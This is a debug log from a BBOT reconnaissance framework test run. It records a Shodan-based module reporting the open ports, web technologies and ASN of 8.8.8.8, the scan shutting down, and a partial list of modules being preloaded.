base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:17:19,468 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'security'}) -2026-02-27 22:17:19,468 [DEBUG] bbot.modules._scan_ingress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'miscellaneous'}) passed post-check -2026-02-27 22:17:19,469 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'miscellaneous'}) -2026-02-27 22:17:19,469 [DEBUG] bbot.modules.dnsresolve base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'security'}) passed post-check -2026-02-27 22:17:19,470 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'security'}) -2026-02-27 22:17:19,470 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'miscellaneous'}) in-scope because its main host matches the scan target -2026-02-27 22:17:19,471 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:17:19,472 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded -2026-02-27 22:17:19,472 [DEBUG] bbot.modules._scan_egress base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check -2026-02-27 22:17:19,472 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) -2026-02-27 22:17:19,473 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'miscellaneous'}) -2026-02-27 22:17:19,474 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-02-27 22:17:19,474 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:17:19,474 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'security'}) -2026-02-27 22:17:19,475 [DEBUG] bbot.modules.dnsresolve base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'miscellaneous'}) passed post-check -2026-02-27 22:17:19,475 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'miscellaneous'}) -2026-02-27 22:17:19,476 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target -2026-02-27 22:17:19,477 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) -2026-02-27 22:17:19,477 [DEBUG] bbot.modules.output.python base.py:1563 Queueing ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) because precheck succeeded -2026-02-27 22:17:19,478 [DEBUG] bbot.modules._scan_egress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'security'}) passed post-check -2026-02-27 22:17:19,478 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'security'}) -2026-02-27 22:17:19,479 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:17:19,479 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-02-27 22:17:19,480 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:17:19,480 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'miscellaneous'}) -2026-02-27 22:17:19,481 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-02-27 22:17:19,481 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:17:19,482 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target -2026-02-27 22:17:19,482 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'security'}) -2026-02-27 22:17:19,483 [DEBUG] bbot.modules.output.python base.py:1563 Queueing TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'security'}) because precheck succeeded -2026-02-27 22:17:19,483 [DEBUG] bbot.modules._scan_egress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'miscellaneous'}) passed post-check -2026-02-27 22:17:19,484 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'miscellaneous'}) -2026-02-27 22:17:19,484 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:17:19,485 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:17:19,485 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-02-27 22:17:19,486 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:17:19,486 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'miscellaneous'}) -2026-02-27 22:17:19,487 [DEBUG] bbot.modules.output.python base.py:1563 Queueing TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'miscellaneous'}) because precheck succeeded -2026-02-27 22:17:19,487 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-02-27 22:17:19,488 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:17:19,488 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:17:19,489 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:17:19,489 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded -2026-02-27 22:17:19,490 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-02-27 22:17:19,490 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:17:19,491 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:17:19,492 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded -2026-02-27 22:17:19,560 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise -2026-02-27 22:17:19,561 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-02-27 22:17:19,561 [DEBUG] bbot.modules.output.python base.py:1563 Got ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) from shodan_enterprise -2026-02-27 22:17:19,562 [DEBUG] bbot.modules.output.python base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check -2026-02-27 22:17:19,562 [DEBUG] bbot.modules.output.python base.py:1563 Got TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'security'}) from shodan_enterprise -2026-02-27 22:17:19,563 [DEBUG] bbot.modules.output.python base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'security'}) passed post-check -2026-02-27 22:17:19,563 [DEBUG] bbot.modules.output.python base.py:1563 Got TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'miscellaneous'}) from shodan_enterprise -2026-02-27 22:17:19,563 [DEBUG] bbot.modules.output.python base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'miscellaneous'}) passed post-check -2026-02-27 22:17:19,564 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise -2026-02-27 22:17:19,564 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-02-27 22:17:19,564 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise -2026-02-27 22:17:19,565 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-02-27 22:17:19,565 [INFO] bbot.scanner scanner.py:790 Finishing scan -2026-02-27 22:17:19,566 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) because its type is FINISHED -2026-02-27 22:17:19,567 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'unarchive'}) because its type is FINISHED -2026-02-27 22:17:19,567 [DEBUG] bbot.modules.output.python base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'python'}) because its type is FINISHED -2026-02-27 22:17:19,568 [VERBOSE] bbot.scanner scanner.py:1181 Completed finish() -2026-02-27 22:17:19,568 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to FINISHING -2026-02-27 22:17:19,569 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) from None -2026-02-27 22:17:19,569 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Got FINISHED("FINISHED", module=None, tags={'unarchive'}) from None -2026-02-27 22:17:19,669 [DEBUG] bbot.modules.output.python base.py:1563 Got FINISHED("FINISHED", module=None, tags={'python'}) from None -2026-02-27 22:17:19,671 [VERBOSE] bbot.scanner scanner.py:1181 Completed final finish() -2026-02-27 22:17:19,691 [DEBUG] bbot.scanner scanner.py:1176 Cancelling all scan tasks -2026-02-27 22:17:19,692 [DEBUG] bbot.scanner scanner.py:1176 Finished cancelling all scan tasks -2026-02-27 22:17:19,692 [DEBUG] bbot.scanner scanner.py:1176 Awaiting 42 tasks -2026-02-27 22:17:19,705 [DEBUG] bbot.scanner scanner.py:1176 Awaited 42 tasks -2026-02-27 22:17:19,705 [VERBOSE] bbot.core.dnshelper engine.py:334 EngineClient DNSHelper: shutting down... -2026-02-27 22:17:19,706 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to CLEANING_UP -2026-02-27 22:17:19,707 [VERBOSE] bbot.core.dnsengine engine.py:509 EngineServer DNSEngine got shutdown signal -2026-02-27 22:17:19,708 [VERBOSE] bbot.core.dnsengine engine.py:551 EngineServer DNSEngine: shutting down... -2026-02-27 22:17:19,709 [VERBOSE] bbot.core.dnsengine engine.py:564 EngineServer DNSEngine: finished shutting down -2026-02-27 22:17:19,827 [HUGESUCCESS] bbot.scanner scanner.py:1206 Scan testshodan_enterprise_test_wb6yzq686q completed in 0 seconds with status FINISHED -2026-02-27 22:17:19,827 [DEBUG] bbot base.py:113 Finished shodan_enterprise module test -2026-02-27 22:17:19,828 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector -2026-02-27 22:17:19,830 [CRITICAL] bbot test_module_shodan_enterprise.py:58 Found 1 ASN events -2026-02-27 22:17:19,830 [HUGEINFO] bbot test_module_shodan_enterprise.py:64 ASN Data: {'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': 'US'} -2026-02-27 22:18:18,605 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules -2026-02-27 22:18:18,617 [DEBUG] bbot.module_loader modules.py:154 Preloading esi from disk -2026-02-27 22:18:18,619 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/esi.py as it is not a valid BBOT module -2026-02-27 22:18:18,620 [DEBUG] bbot.module_loader modules.py:154 Preloading cmdi from disk -2026-02-27 22:18:18,622 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/cmdi.py as it is not a valid BBOT module -2026-02-27 22:18:18,623 [DEBUG] bbot.module_loader modules.py:154 Preloading xss from disk -2026-02-27 22:18:18,625 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/xss.py as it is not a valid BBOT module -2026-02-27 22:18:18,626 [DEBUG] bbot.module_loader modules.py:154 Preloading crypto from disk -2026-02-27 22:18:18,632 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/crypto.py as it is not a valid BBOT module -2026-02-27 22:18:18,633 [DEBUG] bbot.module_loader modules.py:154 Preloading serial from disk -2026-02-27 22:18:18,636 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/serial.py as it is not a valid BBOT module -2026-02-27 22:18:18,637 [DEBUG] bbot.module_loader modules.py:154 Preloading sqli from disk -2026-02-27 22:18:18,639 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/sqli.py as it is not a valid BBOT module -2026-02-27 22:18:18,640 [DEBUG] bbot.module_loader modules.py:154 Preloading path from disk -2026-02-27 22:18:18,642 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/path.py as it is not a valid BBOT module -2026-02-27 22:18:18,643 [DEBUG] bbot.module_loader modules.py:154 Preloading ssti from disk -2026-02-27 22:18:18,644 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/ssti.py as it is not a valid BBOT module -2026-02-27 22:18:18,645 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/templates -2026-02-27 22:18:18,646 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/report -2026-02-27 22:18:18,647 [DEBUG] bbot.module_loader modules.py:152 Preloading asn from cache -2026-02-27 22:18:18,648 [DEBUG] bbot.module_loader modules.py:152 Preloading affiliates from cache -2026-02-27 22:18:18,649 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/output -2026-02-27 22:18:18,650 [DEBUG] bbot.module_loader modules.py:152 Preloading web_parameters from cache -2026-02-27 22:18:18,651 [DEBUG] bbot.module_loader modules.py:152 Preloading discord from cache -2026-02-27 22:18:18,653 [DEBUG] bbot.module_loader modules.py:152 Preloading emails from cache -2026-02-27 22:18:18,654 [DEBUG] bbot.module_loader modules.py:152 Preloading teams from cache -2026-02-27 22:18:18,656 [DEBUG] bbot.module_loader modules.py:152 Preloading txt from cache -2026-02-27 22:18:18,657 [DEBUG] bbot.module_loader modules.py:152 Preloading neo4j from cache -2026-02-27 22:18:18,658 [DEBUG] bbot.module_loader modules.py:152 Preloading asset_inventory from cache -2026-02-27 22:18:18,660 [DEBUG] bbot.module_loader modules.py:152 Preloading sqlite from cache -2026-02-27 22:18:18,661 [DEBUG] bbot.module_loader modules.py:152 Preloading web_report from cache -2026-02-27 22:18:18,663 [DEBUG] bbot.module_loader modules.py:152 Preloading http from cache -2026-02-27 22:18:18,664 [DEBUG] bbot.module_loader modules.py:152 Preloading csv from cache -2026-02-27 22:18:18,666 [DEBUG] bbot.module_loader modules.py:152 Preloading postgres from cache -2026-02-27 22:18:18,667 [DEBUG] bbot.module_loader modules.py:152 Preloading python from cache -2026-02-27 22:18:18,669 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomains from cache -2026-02-27 22:18:18,671 [DEBUG] bbot.module_loader modules.py:152 Preloading stdout from cache -2026-02-27 22:18:18,672 [DEBUG] bbot.module_loader modules.py:152 Preloading nmap_xml from cache -2026-02-27 22:18:18,673 [DEBUG] bbot.module_loader modules.py:152 Preloading json from cache -2026-02-27 22:18:18,675 [DEBUG] bbot.module_loader modules.py:152 Preloading slack from cache -2026-02-27 22:18:18,676 [DEBUG] bbot.module_loader modules.py:152 Preloading splunk from cache -2026-02-27 22:18:18,678 [DEBUG] bbot.module_loader modules.py:152 Preloading mysql from cache -2026-02-27 22:18:18,680 [DEBUG] bbot.module_loader modules.py:152 Preloading websocket from cache -2026-02-27 22:18:18,681 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules -2026-02-27 22:18:18,682 [DEBUG] bbot.module_loader modules.py:152 Preloading urlscan from cache -2026-02-27 22:18:18,683 [DEBUG] bbot.module_loader modules.py:152 Preloading jadx from cache -2026-02-27 22:18:18,684 [DEBUG] bbot.module_loader modules.py:152 Preloading trufflehog from cache -2026-02-27 22:18:18,686 [DEBUG] bbot.module_loader modules.py:152 Preloading host_header from cache -2026-02-27 22:18:18,686 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytxt from cache -2026-02-27 22:18:18,688 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsdumpster from cache -2026-02-27 22:18:18,688 [DEBUG] bbot.module_loader modules.py:152 Preloading bevigil from cache -2026-02-27 22:18:18,690 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_google from cache -2026-02-27 22:18:18,690 [DEBUG] bbot.module_loader modules.py:152 Preloading git from cache -2026-02-27 22:18:18,691 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_realm from cache -2026-02-27 22:18:18,692 [DEBUG] bbot.module_loader modules.py:152 Preloading extractous from cache -2026-02-27 22:18:18,699 [DEBUG] bbot.module_loader modules.py:152 Preloading credshed from cache -2026-02-27 22:18:18,701 [DEBUG] bbot.module_loader modules.py:152 Preloading fullhunt from cache -2026-02-27 22:18:18,702 [DEBUG] bbot.module_loader modules.py:152 Preloading social from cache -2026-02-27 22:18:18,703 [DEBUG] bbot.module_loader modules.py:152 Preloading pgp from cache -2026-02-27 22:18:18,705 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_tenant from cache -2026-02-27 22:18:18,705 [DEBUG] bbot.module_loader modules.py:152 Preloading virustotal from cache -2026-02-27 22:18:18,706 [DEBUG] bbot.module_loader modules.py:152 Preloading vhost from cache -2026-02-27 22:18:18,708 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_enterprise from cache -2026-02-27 22:18:18,709 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute from cache -2026-02-27 22:18:18,710 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_dns from cache -2026-02-27 22:18:18,711 [DEBUG] bbot.module_loader modules.py:152 Preloading ip2location from cache -2026-02-27 22:18:18,712 [DEBUG] bbot.module_loader modules.py:152 Preloading rapiddns from cache -2026-02-27 22:18:18,713 [DEBUG] bbot.module_loader modules.py:152 Preloading wpscan from cache -2026-02-27 22:18:18,714 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscommonsrv from cache -2026-02-27 22:18:18,716 [DEBUG] bbot.module_loader modules.py:152 Preloading passivetotal from cache -2026-02-27 22:18:18,717 [DEBUG] bbot.module_loader modules.py:152 Preloading ntlm from cache -2026-02-27 22:18:18,718 [DEBUG] bbot.module_loader modules.py:152 Preloading trickest from cache -2026-02-27 22:18:18,718 [DEBUG] bbot.module_loader modules.py:152 Preloading google_playstore from cache -2026-02-27 22:18:18,719 [DEBUG] bbot.module_loader modules.py:152 Preloading github_usersearch from cache -2026-02-27 22:18:18,720 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomainradar from cache -2026-02-27 22:18:18,721 [DEBUG] bbot.module_loader modules.py:152 Preloading dockerhub from cache -2026-02-27 22:18:18,722 [DEBUG] bbot.module_loader modules.py:152 Preloading medusa from cache -2026-02-27 22:18:18,724 [DEBUG] bbot.module_loader modules.py:152 Preloading digitorus from cache -2026-02-27 22:18:18,725 [DEBUG] bbot.module_loader modules.py:152 Preloading wafw00f from cache -2026-02-27 22:18:18,726 [DEBUG] bbot.module_loader modules.py:152 Preloading generic_ssrf from cache -2026-02-27 22:18:18,727 [DEBUG] bbot.module_loader modules.py:152 Preloading filedownload from cache -2026-02-27 22:18:18,736 [DEBUG] bbot.module_loader modules.py:152 Preloading chaos from cache -2026-02-27 22:18:18,737 [DEBUG] bbot.module_loader modules.py:152 Preloading httpx from cache -2026-02-27 22:18:18,739 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_zone from cache -2026-02-27 22:18:18,740 [DEBUG] bbot.module_loader modules.py:152 Preloading graphql_introspection from cache -2026-02-27 22:18:18,741 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_headers from cache -2026-02-27 22:18:18,743 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytrails from cache -2026-02-27 22:18:18,744 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_microsoft from cache -2026-02-27 22:18:18,745 [DEBUG] bbot.module_loader modules.py:152 Preloading viewdns from cache -2026-02-27 22:18:18,746 [DEBUG] bbot.module_loader modules.py:152 Preloading url_manipulation from cache -2026-02-27 22:18:18,747 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf_shortnames from cache -2026-02-27 22:18:18,749 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_ip from cache -2026-02-27 22:18:18,750 [DEBUG] bbot.module_loader modules.py:152 Preloading builtwith from cache -2026-02-27 22:18:18,752 [DEBUG] bbot.module_loader modules.py:152 Preloading certspotter from cache -2026-02-27 22:18:18,753 [DEBUG] bbot.module_loader modules.py:152 Preloading sslcert from cache -2026-02-27 22:18:18,754 [DEBUG] bbot.module_loader modules.py:152 Preloading gitdumper from cache -2026-02-27 22:18:18,755 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_idb from cache -2026-02-27 22:18:18,756 [DEBUG] bbot.module_loader modules.py:152 Preloading hackertarget from cache -2026-02-27 22:18:18,757 [DEBUG] bbot.module_loader modules.py:152 Preloading c99 from cache -2026-02-27 22:18:18,758 [DEBUG] bbot.module_loader modules.py:152 Preloading newsletters from cache -2026-02-27 22:18:18,759 [DEBUG] bbot.module_loader modules.py:152 Preloading apkpure from cache -2026-02-27 22:18:18,760 [DEBUG] bbot.module_loader modules.py:152 Preloading crt from cache -2026-02-27 22:18:18,761 [DEBUG] bbot.module_loader modules.py:152 Preloading postman_download from cache -2026-02-27 22:18:18,763 [DEBUG] bbot.module_loader modules.py:152 Preloading hunt from cache -2026-02-27 22:18:18,765 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf from cache -2026-02-27 22:18:18,766 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute_mutations from cache -2026-02-27 22:18:18,768 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_firebase from cache -2026-02-27 22:18:18,769 [DEBUG] bbot.module_loader modules.py:152 Preloading nuclei from cache -2026-02-27 22:18:18,771 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_dns from cache -2026-02-27 22:18:18,772 [DEBUG] bbot.module_loader modules.py:152 Preloading retirejs from cache -2026-02-27 22:18:18,773 [DEBUG] bbot.module_loader modules.py:152 Preloading git_clone from cache -2026-02-27 22:18:18,774 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_amazon from cache -2026-02-27 22:18:18,776 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_digitalocean from cache -2026-02-27 22:18:18,776 [DEBUG] bbot.module_loader modules.py:152 Preloading skymem from cache -2026-02-27 22:18:18,778 [DEBUG] bbot.module_loader modules.py:152 Preloading hunterio from cache -2026-02-27 22:18:18,779 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_cookies from cache -2026-02-27 22:18:18,780 [DEBUG] bbot.module_loader modules.py:152 Preloading postman from cache -2026-02-27 22:18:18,781 [DEBUG] bbot.module_loader modules.py:152 Preloading code_repository from cache -2026-02-27 22:18:18,782 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_com from cache -2026-02-27 22:18:18,783 [DEBUG] bbot.module_loader modules.py:152 Preloading dnstlsrpt from cache -2026-02-27 22:18:18,784 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns from cache -2026-02-27 22:18:18,785 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomaincenter from cache -2026-02-27 22:18:18,786 [DEBUG] bbot.module_loader modules.py:152 Preloading wayback from cache -2026-02-27 22:18:18,787 [DEBUG] bbot.module_loader modules.py:152 Preloading ipstack from cache -2026-02-27 22:18:18,788 [DEBUG] bbot.module_loader modules.py:152 Preloading emailformat from cache -2026-02-27 22:18:18,789 [DEBUG] bbot.module_loader modules.py:152 Preloading fingerprintx from cache -2026-02-27 22:18:18,790 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscaa from cache -2026-02-27 22:18:18,791 [DEBUG] bbot.module_loader modules.py:152 Preloading bypass403 from cache -2026-02-27 22:18:18,793 [DEBUG] bbot.module_loader modules.py:152 Preloading leakix from cache -2026-02-27 22:18:18,794 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_getparams from cache -2026-02-27 22:18:18,795 [DEBUG] bbot.module_loader modules.py:152 Preloading reflected_parameters from cache -2026-02-27 22:18:18,796 [DEBUG] bbot.module_loader modules.py:152 Preloading crt_db from cache -2026-02-27 22:18:18,797 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_file_enum from cache -2026-02-27 22:18:18,799 [DEBUG] bbot.module_loader modules.py:152 Preloading portscan 